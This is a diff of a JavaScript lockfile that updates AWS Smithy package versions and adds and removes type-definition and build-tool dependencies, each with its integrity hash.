+ "@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-dWU03V3XUprJwaUIFVv4iOnS1FC9HnMHDfUrlNDSh4315v0cWyaIErP8KiqGVbf5z+JupoVpNM7ZB3jFiTejvQ=="],
- "@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.0.7", "", { "dependencies": { "@smithy/property-provider": "^4.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "bowser": "^2.11.0", "tslib": "^2.6.2" } }, "sha512-CZgDDrYHLv0RUElOsmZtAnp1pIjwDVCSuZWOPhIOBvG36RDfX1Q9+6lS61xBf+qqvHoqRjHxgINeQz47cYFC2Q=="],
+ "@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.3.39", "", { "dependencies": { "@smithy/property-provider": "^4.2.11", "@smithy/smithy-client": "^4.12.3", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-ui7/Ho/+VHqS7Km2wBw4/Ab4RktoiSshgcgpJzC4keFPs6tLJS4IQwbeahxQS3E/w98uq6E1mirCH/id9xIXeQ=="],
- "@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.0.7", "", { "dependencies": { "@smithy/config-resolver": "^4.0.1", "@smithy/credential-provider-imds": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/property-provider": "^4.0.1", "@smithy/smithy-client": "^4.1.6", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-79fQW3hnfCdrfIi1soPbK3zmooRFnLpSx3Vxi6nUlqaaQeC5dm8plt4OTNDNqEEEDkvKghZSaoti684dQFVrGQ=="],
+ "@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.2.42", "", { "dependencies": { "@smithy/config-resolver": "^4.4.10", "@smithy/credential-provider-imds": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/property-provider": "^4.2.11", "@smithy/smithy-client": "^4.12.3", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-QDA84CWNe8Akpj15ofLO+1N3Rfg8qa2K5uX0y6HnOp4AnRYRgWrKx/xzbYNbVF9ZsyJUYOfcoaN3y93wA/QJ2A=="],
- "@smithy/util-endpoints": ["@smithy/util-endpoints@3.0.1", "", { "dependencies": { "@smithy/node-config-provider": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-zVdUENQpdtn9jbpD9SCFK4+aSiavRb9BxEtw9ZGUR1TYo6bBHbIoi7VkrFQ0/RwZlzx0wRBaRmPclj8iAoJCLA=="],
+ "@smithy/util-endpoints": ["@smithy/util-endpoints@3.3.2", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-+4HFLpE5u29AbFlTdlKIT7jfOzZ8PDYZKTb3e+AgLz986OYwqTourQ5H+jg79/66DB69Un1+qKecLnkZdAsYcA=="],
- "@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+ "@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Qcz3W5vuHK4sLQdyT93k/rfrUwdJ8/HZ+nMUOyGdpeGA1Wxt65zYwi3oEl9kOM+RswvYq90fzkNDahPS8K0OIg=="],
- "@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+ "@smithy/util-middleware": ["@smithy/util-middleware@4.2.11", "", { "dependencies": { "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-r3dtF9F+TpSZUxpOVVtPfk09Rlo4lT6ORBqEvX3IBT6SkQAdDSVKR5GcfmZbtl7WKhKnmb3wbDTQ6ibR2XHClw=="],
- "@smithy/util-retry": ["@smithy/util-retry@4.0.1", "", { "dependencies": { "@smithy/service-error-classification": "^4.0.1", "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-WmRHqNVwn3kI3rKk1LsKcVgPBG6iLTBGC1iYOV3GQegwJ3E8yjzHytPt26VNzOWr1qu0xE03nK0Ug8S7T7oufw=="],
+ "@smithy/util-retry": ["@smithy/util-retry@4.2.11", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-XSZULmL5x6aCTTii59wJqKsY1l3eMIAomRAccW7Tzh9r8s7T/7rdo03oektuH5jeYRlJMPcNP92EuRDvk9aXbw=="],
- "@smithy/util-stream": ["@smithy/util-stream@4.1.2", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/types": "^4.1.0", "@smithy/util-base64": "^4.0.0", "@smithy/util-buffer-from": "^4.0.0", "@smithy/util-hex-encoding": "^4.0.0", "@smithy/util-utf8": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-44PKEqQ303d3rlQuiDpcCcu//hV8sn+u2JBo84dWCE0rvgeiVl0IlLMagbU++o0jCWhYCsHaAt9wZuZqNe05Hw=="],
+ "@smithy/util-stream": ["@smithy/util-stream@4.5.17", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.13", "@smithy/node-http-handler": "^4.4.14", "@smithy/types": "^4.13.0", "@smithy/util-base64": "^4.3.2", "@smithy/util-buffer-from": "^4.2.2", "@smithy/util-hex-encoding": "^4.2.2", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-793BYZ4h2JAQkNHcEnyFxDTcZbm9bVybD0UV/LEWmZ5bkTms7JqjfrLMi2Qy0E5WFcCzLwCAPgcvcvxoeALbAQ=="],
- "@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+ "@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-2kAStBlvq+lTXHyAZYfJRb/DfS3rsinLiwb+69SstC9Vb0s9vNWkRwpnj918Pfi85mzi42sOqdV72OLxWAISnw=="],
- "@smithy/util-utf8": ["@smithy/util-utf8@4.0.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow=="],
+ "@smithy/util-utf8": ["@smithy/util-utf8@4.2.2", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-75MeYpjdWRe8M5E3AW0O4Cx3UadweS+cwdXjwYGBW5h/gxxnbeZ877sLPX/ZJA9GVTlL/qG0dXP29JWFCD1Ayw=="],
- "@smithy/util-waiter": ["@smithy/util-waiter@4.0.6", "", { "dependencies": { "@smithy/abort-controller": "^4.0.4", "@smithy/types": "^4.3.1", "tslib": "^2.6.2" } }, "sha512-slcr1wdRbX7NFphXZOxtxRNA7hXAAtJAXJDE/wdoMAos27SIquVCKiSqfB6/28YzQ8FCsB5NKkhdM5gMADbqxg=="],
+ "@smithy/util-waiter": ["@smithy/util-waiter@4.2.11", "", { "dependencies": { "@smithy/abort-controller": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-x7Rh2azQPs3XxbvCzcttRErKKvLnbZfqRf/gOjw2pb+ZscX88e5UkRPCB67bVnsFHxayvMvmePfKTqsRb+is1A=="],
- "@smithy/uuid": ["@smithy/uuid@1.1.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-4aUIteuyxtBUhVdiQqcDhKFitwfd9hqoSDYY2KRXiWtgoWJ9Bmise+KfEPDiVHWeJepvF8xJO9/9+WDIciMFFw=="],
+ "@smithy/uuid": ["@smithy/uuid@1.1.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-O/IEdcCUKkubz60tFbGA7ceITTAJsty+lBjNoorP4Z6XRqaFb/OjQjZODophEcuq68nKm6/0r+6/lLQ+XVpk8g=="],
"@stitches/core": ["@stitches/core@1.2.8", "", {}, "sha512-Gfkvwk9o9kE9r9XNBmJRfV8zONvXThnm1tcuojL04Uy5uRyqg93DC83lDebl0rocZCfKSjUv+fWYtMQmEDJldg=="],
@@ -1883,10 +2011,6 @@
"@tokenizer/token": ["@tokenizer/token@0.3.0", "", {}, "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A=="],
- "@tootallnate/once": ["@tootallnate/once@2.0.0", "", {}, "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A=="],
-
- "@trysound/sax": ["@trysound/sax@0.2.0", "", {}, "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA=="],
-
"@tsconfig/node10": ["@tsconfig/node10@1.0.11", "", {}, "sha512-DcRjDCujK/kCk/cUe8Xz8ZSpm8mS3mNNpta+jGCA6USEDfktlNvm1+IuZ9eTcDbNk41BHwpHHeW+N1lKCz4zOw=="],
"@tsconfig/node12": ["@tsconfig/node12@1.0.11", "", {}, "sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag=="],
@@ -1913,9 +2037,69 @@
"@types/connect": ["@types/connect@3.4.38", "", { "dependencies": { "@types/node": "*" } }, "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug=="],
- "@types/debug": ["@types/debug@4.1.12", "", { "dependencies": { "@types/ms": "*" } }, "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ=="],
+ "@types/d3": ["@types/d3@7.4.3", "", { "dependencies": { "@types/d3-array": "*", "@types/d3-axis": "*", "@types/d3-brush": "*", "@types/d3-chord": "*", "@types/d3-color": "*", "@types/d3-contour": "*", "@types/d3-delaunay": "*", "@types/d3-dispatch": "*", "@types/d3-drag": "*", "@types/d3-dsv": "*", "@types/d3-ease": "*", "@types/d3-fetch": "*", "@types/d3-force": "*", "@types/d3-format": "*", "@types/d3-geo": "*", "@types/d3-hierarchy": "*", "@types/d3-interpolate": "*", "@types/d3-path": "*", "@types/d3-polygon": "*", "@types/d3-quadtree": "*", "@types/d3-random": "*", "@types/d3-scale": "*", "@types/d3-scale-chromatic": "*", "@types/d3-selection": "*", "@types/d3-shape": "*", "@types/d3-time": "*", "@types/d3-time-format": "*", "@types/d3-timer": "*", "@types/d3-transition": "*", "@types/d3-zoom": "*" } }, "sha512-lZXZ9ckh5R8uiFVt8ogUNf+pIrK4EsWrx2Np75WvF/eTpJ0FMHNhjXk8CKEx/+gpHbNQyJWehbFaTvqmHWB3ww=="],
- "@types/diff": ["@types/diff@6.0.0", "", {}, "sha512-dhVCYGv3ZSbzmQaBSagrv1WJ6rXCdkyTcDyoNu1MD8JohI7pR7k8wdZEm+mvdxRKXyHVwckFzWU1vJc+Z29MlA=="],
+ "@types/d3-array": ["@types/d3-array@3.2.2", "", {}, "sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw=="],
+
+ "@types/d3-axis": ["@types/d3-axis@3.0.6", "", { "dependencies": { "@types/d3-selection": "*" } }, "sha512-pYeijfZuBd87T0hGn0FO1vQ/cgLk6E1ALJjfkC0oJ8cbwkZl3TpgS8bVBLZN+2jjGgg38epgxb2zmoGtSfvgMw=="],
+
+ "@types/d3-brush": ["@types/d3-brush@3.0.6", "", { "dependencies": { "@types/d3-selection": "*" } }, "sha512-nH60IZNNxEcrh6L1ZSMNA28rj27ut/2ZmI3r96Zd+1jrZD++zD3LsMIjWlvg4AYrHn/Pqz4CF3veCxGjtbqt7A=="],
+
+ "@types/d3-chord": ["@types/d3-chord@3.0.6", "", {}, "sha512-LFYWWd8nwfwEmTZG9PfQxd17HbNPksHBiJHaKuY1XeqscXacsS2tyoo6OdRsjf+NQYeB6XrNL3a25E3gH69lcg=="],
+
+ "@types/d3-color": ["@types/d3-color@3.1.3", "", {}, "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A=="],
+
+ "@types/d3-contour": ["@types/d3-contour@3.0.6", "", { "dependencies": { "@types/d3-array": "*", "@types/geojson": "*" } }, "sha512-BjzLgXGnCWjUSYGfH1cpdo41/hgdWETu4YxpezoztawmqsvCeep+8QGfiY6YbDvfgHz/DkjeIkkZVJavB4a3rg=="],
+
+ "@types/d3-delaunay": ["@types/d3-delaunay@6.0.4", "", {}, "sha512-ZMaSKu4THYCU6sV64Lhg6qjf1orxBthaC161plr5KuPHo3CNm8DTHiLw/5Eq2b6TsNP0W0iJrUOFscY6Q450Hw=="],
+
+ "@types/d3-dispatch": ["@types/d3-dispatch@3.0.7", "", {}, "sha512-5o9OIAdKkhN1QItV2oqaE5KMIiXAvDWBDPrD85e58Qlz1c1kI/J0NcqbEG88CoTwJrYe7ntUCVfeUl2UJKbWgA=="],
+
+ "@types/d3-drag": ["@types/d3-drag@3.0.7", "", { "dependencies": { "@types/d3-selection": "*" } }, "sha512-HE3jVKlzU9AaMazNufooRJ5ZpWmLIoc90A37WU2JMmeq28w1FQqCZswHZ3xR+SuxYftzHq6WU6KJHvqxKzTxxQ=="],
+
+ "@types/d3-dsv": ["@types/d3-dsv@3.0.7", "", {}, "sha512-n6QBF9/+XASqcKK6waudgL0pf/S5XHPPI8APyMLLUHd8NqouBGLsU8MgtO7NINGtPBtk9Kko/W4ea0oAspwh9g=="],
+
+ "@types/d3-ease": ["@types/d3-ease@3.0.2", "", {}, "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA=="],
+
+ "@types/d3-fetch": ["@types/d3-fetch@3.0.7", "", { "dependencies": { "@types/d3-dsv": "*" } }, "sha512-fTAfNmxSb9SOWNB9IoG5c8Hg6R+AzUHDRlsXsDZsNp6sxAEOP0tkP3gKkNSO/qmHPoBFTxNrjDprVHDQDvo5aA=="],
+
+ "@types/d3-force": ["@types/d3-force@3.0.10", "", {}, "sha512-ZYeSaCF3p73RdOKcjj+swRlZfnYpK1EbaDiYICEEp5Q6sUiqFaFQ9qgoshp5CzIyyb/yD09kD9o2zEltCexlgw=="],
+
+ "@types/d3-format": ["@types/d3-format@3.0.4", "", {}, "sha512-fALi2aI6shfg7vM5KiR1wNJnZ7r6UuggVqtDA+xiEdPZQwy/trcQaHnwShLuLdta2rTymCNpxYTiMZX/e09F4g=="],
+
+ "@types/d3-geo": ["@types/d3-geo@3.1.0", "", { "dependencies": { "@types/geojson": "*" } }, "sha512-856sckF0oP/diXtS4jNsiQw/UuK5fQG8l/a9VVLeSouf1/PPbBE1i1W852zVwKwYCBkFJJB7nCFTbk6UMEXBOQ=="],
+
+ "@types/d3-hierarchy": ["@types/d3-hierarchy@3.1.7", "", {}, "sha512-tJFtNoYBtRtkNysX1Xq4sxtjK8YgoWUNpIiUee0/jHGRwqvzYxkq0hGVbbOGSz+JgFxxRu4K8nb3YpG3CMARtg=="],
+
+ "@types/d3-interpolate": ["@types/d3-interpolate@3.0.4", "", { "dependencies": { "@types/d3-color": "*" } }, "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA=="],
+
+ "@types/d3-path": ["@types/d3-path@3.1.1", "", {}, "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg=="],
+
+ "@types/d3-polygon": ["@types/d3-polygon@3.0.2", "", {}, "sha512-ZuWOtMaHCkN9xoeEMr1ubW2nGWsp4nIql+OPQRstu4ypeZ+zk3YKqQT0CXVe/PYqrKpZAi+J9mTs05TKwjXSRA=="],
+
+ "@types/d3-quadtree": ["@types/d3-quadtree@3.0.6", "", {}, "sha512-oUzyO1/Zm6rsxKRHA1vH0NEDG58HrT5icx/azi9MF1TWdtttWl0UIUsjEQBBh+SIkrpd21ZjEv7ptxWys1ncsg=="],
+
+ "@types/d3-random": ["@types/d3-random@3.0.3", "", {}, "sha512-Imagg1vJ3y76Y2ea0871wpabqp613+8/r0mCLEBfdtqC7xMSfj9idOnmBYyMoULfHePJyxMAw3nWhJxzc+LFwQ=="],
+
+ "@types/d3-scale": ["@types/d3-scale@4.0.9", "", { "dependencies": { "@types/d3-time": "*" } }, "sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw=="],
+
+ "@types/d3-scale-chromatic": ["@types/d3-scale-chromatic@3.1.0", "", {}, "sha512-iWMJgwkK7yTRmWqRB5plb1kadXyQ5Sj8V/zYlFGMUBbIPKQScw+Dku9cAAMgJG+z5GYDoMjWGLVOvjghDEFnKQ=="],
+
+ "@types/d3-selection": ["@types/d3-selection@3.0.11", "", {}, "sha512-bhAXu23DJWsrI45xafYpkQ4NtcKMwWnAC/vKrd2l+nxMFuvOT3XMYTIj2opv8vq8AO5Yh7Qac/nSeP/3zjTK0w=="],
+
+ "@types/d3-shape": ["@types/d3-shape@3.1.8", "", { "dependencies": { "@types/d3-path": "*" } }, "sha512-lae0iWfcDeR7qt7rA88BNiqdvPS5pFVPpo5OfjElwNaT2yyekbM0C9vK+yqBqEmHr6lDkRnYNoTBYlAgJa7a4w=="],
+
+ "@types/d3-time": ["@types/d3-time@3.0.4", "", {}, "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g=="],
+
+ "@types/d3-time-format": ["@types/d3-time-format@4.0.3", "", {}, "sha512-5xg9rC+wWL8kdDj153qZcsJ0FWiFt0J5RB6LYUNZjwSnesfblqrI/bJ1wBdJ8OQfncgbJG5+2F+qfqnqyzYxyg=="],
+
+ "@types/d3-timer": ["@types/d3-timer@3.0.2", "", {}, "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw=="],
+
+ "@types/d3-transition": ["@types/d3-transition@3.0.9", "", { "dependencies": { "@types/d3-selection": "*" } }, "sha512-uZS5shfxzO3rGlu0cC3bjmMFKsXv+SmZZcgp0KD22ts4uGXp5EVYGzu/0YdwZeKmddhcAccYtREJKkPfXkZuCg=="],
+
+ "@types/d3-zoom": ["@types/d3-zoom@3.0.8", "", { "dependencies": { "@types/d3-interpolate": "*", "@types/d3-selection": "*" } }, "sha512-iqMC4/YlFCSlO8+2Ii1GGGliCAY4XdeG748w5vQUbevlbDu0zSjH/+jojorQVBK/se0j6DUFNPBGSqD3YWYnDw=="],
+
+ "@types/debug": ["@types/debug@4.1.12", "", { "dependencies": { "@types/ms": "*" } }, "sha512-vIChWdVG3LG1SMxEvI/AK+FWJthlrqlTu7fbrlywTkkaONwk/UAGaULXRlf8vkzFBLVm0zkMdCquhL5aOjhXPQ=="],
"@types/estree": ["@types/estree@1.0.6", "", {}, "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw=="],
@@ -1927,6 +2111,8 @@
"@types/express-session": ["@types/express-session@1.18.2", "", { "dependencies": { "@types/express": "*" } }, "sha512-k+I0BxwVXsnEU2hV77cCobC08kIsn4y44C3gC0b46uxZVMaXA04lSPgRLR/bSL2w0t0ShJiG8o4jPzRG/nscFg=="],
+ "@types/geojson": ["@types/geojson@7946.0.16", "", {}, "sha512-6C8nqWur3j98U6+lXDfTUWIfgvZU+EumvpHKcYjujKH7woYyLj2sUmff0tRhrqM7BohUw7Pz3ZB1jj2gW9Fvmg=="],
+
"@types/hast": ["@types/hast@3.0.4", "", { "dependencies": { "@types/unist": "*" } }, "sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ=="],
"@types/http-errors": ["@types/http-errors@2.0.4", "", {}, "sha512-D0CFMMtydbJAegzOyHjtiKPLlvnm3iTZyZRSZoLq2mRhDdmLfIWOCYPfQJ4cu2erKghU++QvjcUjp/5h7hESpA=="],
@@ -2011,10 +2197,14 @@
"@types/webidl-conversions": ["@types/webidl-conversions@7.0.3", "", {}, "sha512-CiJJvcRtIgzadHCYXw7dqEnMNRjhGZlYK05Mj9OyktqV8uVT8fD2BFOB7S1uwBE3Kj2Z+4UyPmFw/Ixgw/LAlA=="],
+ "@types/whatwg-mimetype": ["@types/whatwg-mimetype@3.0.2", "", {}, "sha512-c2AKvDT8ToxLIOUlN51gTiHXflsfIFisS4pO7pDPoKouJCESkhZnEy623gwP9laCy5lnLDAw1vAzu2vM2YLOrA=="],
+
"@types/whatwg-url": ["@types/whatwg-url@11.0.5", "", { "dependencies": { "@types/webidl-conversions": "*" } }, "sha512-coYR071JRaHa+xoEvvYqvnIHaVqaYrLPbsufM9BF63HkwI5Lgmy2QR8Q5K/lYDYo5AK82wOvSOS0UsLTpTG7uQ=="],
"@types/winston": ["@types/winston@2.4.4", "", { "dependencies": { "winston": "*" } }, "sha512-BVGCztsypW8EYwJ+Hq+QNYiT/MUyCif0ouBH+flrY66O5W+KIXAMML6E/0fJpm7VjIzgangahl5S03bJJQGrZw=="],
+ "@types/ws": ["@types/ws@8.18.1", "", { "dependencies": { "@types/node": "*" } }, "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg=="],
+
"@types/xml-encryption": ["@types/xml-encryption@1.2.4", "", { "dependencies": { "@types/node": "*" } }, "sha512-I69K/WW1Dv7j6O3jh13z0X8sLWJRXbu5xnHDl9yHzUNDUBtUoBY058eb5s+x/WG6yZC1h8aKdI2EoyEPjyEh+Q=="],
"@types/xml2js": ["@types/xml2js@0.4.14", "", { "dependencies": { "@types/node": "*" } }, "sha512-4YnrRemBShWRO2QjvUin8ESA41rH+9nQGLUGZV/1IDhi3SL9OhdpNC/MrulTWuptXKwhx/aDxE7toV0f/ypIXQ=="],
@@ -2039,6 +2229,8 @@
"@typescript-eslint/visitor-keys": ["@typescript-eslint/visitor-keys@8.24.0", "", { "dependencies": { "@typescript-eslint/types": "8.24.0", "eslint-visitor-keys": "^4.2.0" } }, "sha512-kArLq83QxGLbuHrTMoOEWO+l2MwsNS2TGISEdx8xgqpkbytB07XmlQyQdNDrCc1ecSqx0cnmhGvpX+VBwqqSkg=="],
+ "@typespec/ts-http-runtime": ["@typespec/ts-http-runtime@0.3.4", "", { "dependencies": { "http-proxy-agent": "^7.0.0", "https-proxy-agent": "^7.0.0", "tslib": "^2.6.2" } }, "sha512-CI0NhTrz4EBaa0U+HaaUZrJhPoso8sG7ZFya8uQoBA57fjzrjRSv87ekCjLZOFExN+gXE/z0xuN2QfH4H2HrLQ=="],
+
"@ungap/structured-clone": ["@ungap/structured-clone@1.3.0", "", {}, "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g=="],
"@unrs/resolver-binding-android-arm-eabi": ["@unrs/resolver-binding-android-arm-eabi@1.11.1", "", { "os": "android", "cpu": "arm" }, "sha512-ppLRUgHVaGRWUx0R0Ut06Mjo9gBaBkg3v/8AxusGLhsIotbBLuRk51rAzqLC8gq6NyyAojEXglNjzf6R948DNw=="],
@@ -2079,48 +2271,14 @@
"@unrs/resolver-binding-win32-x64-msvc": ["@unrs/resolver-binding-win32-x64-msvc@1.11.1", "", { "os": "win32", "cpu": "x64" }, "sha512-lrW200hZdbfRtztbygyaq/6jP6AKE8qQN2KvPcJ+x7wiD038YtnYtZ82IMNJ69GJibV7bwL3y9FgK+5w/pYt6g=="],
- "@vitejs/plugin-react": ["@vitejs/plugin-react@4.3.4", "", { "dependencies": { "@babel/core": "^7.26.0", "@babel/plugin-transform-react-jsx-self": "^7.25.9", "@babel/plugin-transform-react-jsx-source": "^7.25.9", "@types/babel__core": "^7.20.5", "react-refresh": "^0.14.2" }, "peerDependencies": { "vite": "^4.2.0 || ^5.0.0 || ^6.0.0" } }, "sha512-SCCPBJtYLdE8PX/7ZQAs1QAZ8Jqwih+0VBLum1EGqmCCQal+MIUqLCzj3ZUy8ufbC0cAM4LRlSTm7IQJwWT4ug=="],
+ "@upsetjs/venn.js": ["@upsetjs/venn.js@2.0.0", "", { "optionalDependencies": { "d3-selection": "^3.0.0", "d3-transition": "^3.0.1" } }, "sha512-WbBhLrooyePuQ1VZxrJjtLvTc4NVfpOyKx0sKqioq9bX1C1m7Jgykkn8gLrtwumBioXIqam8DLxp88Adbue6Hw=="],
- "@webassemblyjs/ast": ["@webassemblyjs/ast@1.12.1", "", { "dependencies": { "@webassemblyjs/helper-numbers": "1.11.6", "@webassemblyjs/helper-wasm-bytecode": "1.11.6" } }, "sha512-EKfMUOPRRUTy5UII4qJDGPpqfwjOmZ5jeGFwid9mnoqIFK+e0vqoi1qH56JpmZSzEL53jKnNzScdmftJyG5xWg=="],
-
- "@webassemblyjs/floating-point-hex-parser": ["@webassemblyjs/floating-point-hex-parser@1.11.6", "", {}, "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw=="],
-
- "@webassemblyjs/helper-api-error": ["@webassemblyjs/helper-api-error@1.11.6", "", {}, "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q=="],
-
- "@webassemblyjs/helper-buffer": ["@webassemblyjs/helper-buffer@1.12.1", "", {}, "sha512-nzJwQw99DNDKr9BVCOZcLuJJUlqkJh+kVzVl6Fmq/tI5ZtEyWT1KZMyOXltXLZJmDtvLCDgwsyrkohEtopTXCw=="],
-
- "@webassemblyjs/helper-numbers": ["@webassemblyjs/helper-numbers@1.11.6", "", { "dependencies": { "@webassemblyjs/floating-point-hex-parser": "1.11.6", "@webassemblyjs/helper-api-error": "1.11.6", "@xtuc/long": "4.2.2" } }, "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g=="],
-
- "@webassemblyjs/helper-wasm-bytecode": ["@webassemblyjs/helper-wasm-bytecode@1.11.6", "", {}, "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA=="],
-
- "@webassemblyjs/helper-wasm-section": ["@webassemblyjs/helper-wasm-section@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-buffer": "1.12.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/wasm-gen": "1.12.1" } }, "sha512-Jif4vfB6FJlUlSbgEMHUyk1j234GTNG9dBJ4XJdOySoj518Xj0oGsNi59cUQF4RRMS9ouBUxDDdyBVfPTypa5g=="],
-
- "@webassemblyjs/ieee754": ["@webassemblyjs/ieee754@1.11.6", "", { "dependencies": { "@xtuc/ieee754": "^1.2.0" } }, "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg=="],
-
- "@webassemblyjs/leb128": ["@webassemblyjs/leb128@1.11.6", "", { "dependencies": { "@xtuc/long": "4.2.2" } }, "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ=="],
-
- "@webassemblyjs/utf8": ["@webassemblyjs/utf8@1.11.6", "", {}, "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA=="],
